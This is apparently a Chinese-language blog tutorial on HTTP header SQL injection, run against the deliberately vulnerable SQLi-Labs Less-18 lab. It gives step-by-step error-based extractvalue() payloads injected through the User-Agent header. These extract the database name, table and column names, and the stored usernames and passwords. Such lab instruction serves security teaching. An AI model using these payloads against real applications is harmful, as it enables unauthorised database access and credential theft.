本章目的
普及HTTP头部字段User-Agent、Referer、Cookie、X-Forwarded-For等的含义和作用,掌握HTTP头部注入的原理、方法及基本流程。

HTTPHeader概述

>请求报文(HTTP Request):由客户端发给服务器的消息,其组成包括请求行
(Request-Line)、请求头域(Header-Field)和请求体(Entity-Body)。
>响应报文(HTTP Response):由服务器回复给客户端的消息,其组成包括状态行
(Status-Line)、响应头域(Header-Field)和响应体(Entity-Body)。

HTTPHeader注入
有时候,后台开发人员为了验证客户端HTTPHeader(比如常用的Cookie验证等)或者通过HTTPHeader头信息获取客户端的一些信息(比如User-Agent、Accept字段等),会对客户端HTTPHeader进行获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTPHeader的注入漏洞

HTTPHeader注入的前提条件
>能够对请求头消息进行修改
>修改的请求头信息能够带入数据库执行
>数据库没有对输入的请求头做过滤

常见的HTTPHeader注入类型
>Cookie注入
>Referer注入
>User-Agent注入
>XFF注入

方法 描述
GET 请求指定的页面信息,并返回实体主体。
HEAD 类似于GET请求,只不过返回的响应中没有具体的内容,用于获取报头。
 
POST 向指定资源提交数据进行处理请求(例如提交表单或者上传文件),数据被包含在请求体中。POST请求可能会导致新的资源的建立或已有资源的修改。
PUT 从客户端向服务器传送的数据取代指定的文档内容。
DELETE 请求服务器删除指定的页面。
CONNECT HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。
OPTIONS 允许客户端查看服务器的性能。
TRACE 回显服务器收到的请求,主要用于测试或诊断。
PATCH 是对PUT方法的补充,用来对已知资源进行局部更新。
类别 状态码 信息性
1XX 请求正在处理 请求正在处理
2XX 成功 请求正常处理完毕
3XX 重定向 需要进行附加操作以完成请求
4XX 客户端错误 服务器无法处理请求
5XX 服务器处理请求错误 服务器错误

HTTPHeader内容
User-Agent:使服务器能够识别客户端使用的操作系统,浏览器版本等(很多数据量大的
网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)。
Cookie:网站为了辩别用户身份、进行session跟踪而储存在用户本地终端上的数据(通常
经过加密)。
Host:客户端指定自己想访问的Web服务器的域名/IP地址和端口号。
X-Forwarded-For:简称XFF头,它代表客户端(即HTTP的请求端)真实的IP(通常一些
网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实
现伪造IP])。
client-IP:同上。
Referer:浏览器向Web服务器表明自己是从哪个页面链接过来的。

实验环境
攻击机:Pentest-Atk
(1)操作系统:Windows10
(2)安装的应用软件:sqlmap、Burpsuite、FireFox浏览器及其插件Hackbar、等

(3)登录账号密码:操作系统帐号Administrator,密码gml
靶机:A-SQLi-Labs
(1)操作系统:本机(建议用虚拟机)不过我太懒了[]~( ̄▽ ̄)~*
(2)安装的应用软件:Apache、MySQL(MariaDB)、PHP:DVWA、SQLi-Labs、

webug3.0下载环境搭建
(3)登录账号密码:操作系统帐号root,密码999

实验原理

有时候,后台开发人员为了验证客户端HTTP Header(比如常用的Cookie验证等)或者通过HTTP Header头信息获取客户端的一些信息(比如User-Agent、Accept字段等),会对客户端HTTPHeader进行获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞。常见的HTTPHeader注入类型包括Cookie注入、Referer注入、User-Agent注入、XFF注入等

实验步骤
本实验的目标是:以SQLi-Labs网站的Less-18为入口,利用报错注入的方式实施SQL注入,获取SQLi-Labs网站的登录用户名和密码。
1.访间SQLi-Labs网站
在攻击机Pentest-Atk打开FireFox浏览器,并访问粑机A-SQLi-Labs上的
SQLi-Labs网站Less-18。访问的URL为:

http://[靶机IP]/sqli-labs/less-18/

(注意大小写)

2.利用Burpsuite工具抓包

具体安装调试前4步抓包过程懒得再写了,参考上面链接吧        (*^_^*)

(5)利用Burpsuite工具拦截HTTP请求包在FireFox浏览器访问的Less-18登录验证界面,输入用户名admin、密码admin,然后点击Submit按钮,可以看到已经抓到了

(6)将Burpsuite工具拦截到的HTTP请求包发送至Repeater模块。

点击Axtion进行选择解析

亦可选中拦截到的HTTP请求包全部内容,单击鼠标右键,在弹出的菜单中选择

“Send to Repeater”,将其发送给Burpsuite的Repeater模块。

后续的步骤中,可以在Repeater选项卡下的Request栏中设置注入的payload,设置完成后点击Send按钮发送,并在Response栏中观察目标服务器的响应。


3.寻找注入点
在原始HTTP请求包的头部字段User-Agent末尾添加单引号,即更改使用如下
payload:
Usen-Agent:Mozilla/5.0
...Firefox/97.0'

'

发现服务器端报错!

在原始HTTP请求包的头部字段User-Agent末尾添加如下符号,使用如下
payload
User-Agent:Mozilla/5.0..
.Firefox/97.0','','')#

','','')#

服务器端未报错!

由此可以判断,目标网站在POST参数处存在字符型注入点。
注:如果在服务器端(靶机)上查看Less-18的php代码,会发现其中存在这样
段代码;
$insert="INSERT INTO  security'.uagents'(uagent','ip_address','username')
VALUES($uagent','$IP',$uname)";

$insert="INSERT INTO  security'.uagents'(uagent','ip_address','username')
VALUES($uagent','$IP',$uname)";

这也是一种基于Insert的注入场景。
4.获取网站当前所在数据库的库名
使用以下payload获取网站当前所在数据库的库名:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0'and extractvalue(1,concat('~' ,database())),'','')#

'and extractvalue(1,concat('~' ,database())),'','')#

显示结果为security。

5.获取数据库security的全部表名
使用以下payload获取数据库security的全部表名:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0'and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security'))),'','')#

'and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security'))),'','')#

显示结果中,有一个名为users的表,这当中可能存放着网站用户的基本信息。

注意:extractvalue()函数所能显示的错误信息最大长度为32,如果错误信息超过了最大长度,有可能导致显示不全。因此,有时需要借助limit来做分行显示,上述payload可以改为:

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0'and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1))),'','')#

'and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1))),'','')#

//显示security库中的第1张表的名字

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0'and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 1,1))),'','')#

'and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 1,1))),'','')#

//显示security库中的第2张表的名字

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0'and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 2,1))),'','')#

'and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 2,1))),'','')#

//显示security库中的第3张表的名字

...

6.获取 users表的全部字段名

使用以下 payload获取 users表的全部字段名

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0  'and extractvalue(1, concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))),'','')#

'and extractvalue(1, concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))),'','')#

显示结果,uses表中有id、 username和 password三个字段

同上一个步骤相似,为了避免错误信息太长导致显示不全,有时需要借助limit来做分行显示,上述payload可以改为;

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0  'and extractvalue(1, concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))),'','')#

'and extractvalue(1, concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))),'','')#

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0  'and extractvalue(1, concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1))),'','')#

'and extractvalue(1, concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1))),'','')#

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0  'and extractvalue(1, concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1))),'','')#

'and extractvalue(1, concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1))),'','')#

7.获取 users表id、 username和 password字段的全部值由于 users表中存放着多组用户名和密码的数据,而每次只能显示一组数据,我们可以通过 limit mn的方式逐条显示,如

(1)显示第1组数据

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0' and extractvalue(1,concat('~',(select concat_ws(',',id, username,password) from security.users limit 0,1))),'','')#

' and extractvalue(1,concat('~',(select concat_ws(',',id, username,password) from security.users limit 0,1))),'','')#

显示结果为Dump,Dump

(2)显示第2组数据
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0' and extractvalue(1,concat('~',(select concat_ws(',',id, username,password) from security.users limit 1,1))),'','')#

' and extractvalue(1,concat('~',(select concat_ws(',',id, username,password) from security.users limit 1,1))),'','')#

(3)显示第3组数据

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0' and extractvalue(1,concat('~',(select concat_ws(',',id, username,password) from security.users limit 2,1))),'','')#

' and extractvalue(1,concat('~',(select concat_ws(',',id, username,password) from security.users limit 2,1))),'','')#

显示结果为Dummy,p@ssword。

。。。

以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全部暴露出来。
实验至此结束。

使用phpstudy搭建渗透测试靶场环境

SQL注入 ——sql数据库操作基础(一)

SOL注入——基于联合查询的数字型GET注入(二)

...

更多包括而不限于SQL注入的文章,关注我全部带走吧( •̀ ω •́ )✧

SOL注入——HTTP头部注入(六)相关推荐

  1. SOL注入——HTTP头部注入(2)(七)

    本章目的 普及HTTP头部字段User-Agent.Referer.Cookie.X-Forwarded-For等的含义和作用,掌握HTTP头部注入的原理.方法及基本流程. HTTPHeader概述 ...

  2. SQL注入--HTTP头部注入

    实验目的 理解HTTP头部字段User-Agent.Referer.Cookie.X-Forwarded-For等的含义 和作用,掌握HTTP头部注入的原理.方法及基本流程. 实验原理 有时候,后台开 ...

  3. SQL注入-HTTP头部注入

    访问SQLi-Labs网站 在攻击机Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs上的SQLi-Labs网站Less-11.访问的URL为: http://[靶机IP ...

  4. SQL注入——HTTP头部注入

    实验目的 理解HTTP头部字段User-Agent.Referer.Cookie.X-Forwarded-For等的含义 和作用,掌握HTTP头部注入的原理.方法及基本流程. 实验原理 有时候,后台开 ...

  5. host头部注入漏洞--中危

    host头部注入漏洞--中危 漏洞原理 漏洞知识扩展 漏洞验证 情况一 情况二 修复方案 漏洞原理 为了方便获取网站域名,开发人员一般依赖于请求包中的Host首部字段.例如,在php里用_SERVER ...

  6. 网络安全——HTTP头部注入

    一.HTTP头部注入概述 1.HTTP工作原理 2.HTTP报文类型 (1).请求报文 (2).响应报文 3.HTTP头部内容 referer主要用来统计页面访问次数 二.HTTP头部注入 1.原理: ...

  7. Natas Wargame Level25 Writeup(头部注入+POST/GET注入)

    sourcecode核心代码: 1 <?php 2 // cheers and <3 to malvina 3 // - morla 4 5 function setLanguage(){ ...

  8. Spring4.x(11)依赖注入-setter方法注入

    依赖注入-setter方法注入 通过无参构造函数+setter方法注入. 一.编写CustomerDao接口 package com.yiidian.dao; /*** * @author http: ...

  9. 注入攻击-SQL注入和代码注入

    注入攻击 OWASP将注入攻击和跨站脚本攻击(XSS)列入网络应用程序十大常见安全风险.实际上,它们会一起出现,因为 XSS 攻击依赖于注入攻击的成功.虽然这是最明显的组合关系,但是注入攻击带来的不仅 ...

最新文章

  1. FPGA之道(72)提高设计的综合性能(四)提高设计的移植性与保密性
  2. 腾讯老照片修复算法开源,细节到头发丝,3种预训练模型可下载 | GitHub热榜
  3. 基于FT5x06嵌入式Linux电容触摸屏驱动
  4. netty tcp服务端主动断开客户端_「Netty核心技术」6-ChannelPipeline源码
  5. 光流 | OpenCV实现简单的optical flow(代码类)
  6. mysql bin值总是变化_MySQL|update字段为相同的值是否会记录binlog
  7. pdf合并成一个pdf软件下载?pdf合并成一个pdf软件合成器工具
  8. 于仕琪的人脸检测算法
  9. 【STM32H7】第5章 ThreadX NetXDUO网络协议栈介绍
  10. 中望lisp加密 浩辰_浩辰CAD2010的VLISP接口加载贱人工具箱
  11. 洛谷P4568飞行路线
  12. 有线以太网RJ45网口网卡转无线wifi网卡转wifi网口转无线有线转无线方案
  13. keep-alive的用法和作用
  14. See!AI正在悄然改变着医学诊断、假肢和视觉辅助
  15. 一种通过物理分离实现WSUS伸缩性的方案
  16. insert()用法
  17. 【历史上的今天】12 月 24 日:姚期智出生;微软在 Java 反垄断案中败诉;GIF 图像格式获得专利保护
  18. pygame之pygame模块
  19. 下载USGS的地物光谱数据库的网址
  20. 物流信息管理需要借助GPS北斗定位模块

热门文章

  1. 自适应小波阈值去噪python_基于python的小波阈值去噪算法
  2. redis java根据value排序_Redis高级特性——排序
  3. 知乎高赞、高逼格 1024 程序员节礼物
  4. HDLBits答案(23)_找BUG
  5. websocket实现多屏互动_纸笔互动课堂应用场景到底有些什么呢?
  6. 数字电子技术基础第三版杨志忠_阎石数字电子技术基础第6版笔记和课后习题详解...
  7. ov5640帧率配置_赛博朋克2077 优化设置大全!帧数50暴涨100
  8. .net mvc web api上传图片/文件并重命名
  9. Docker入门(CentOS7)
  10. HDU 2112 HDU Today lt;SPFA算法+map函数gt;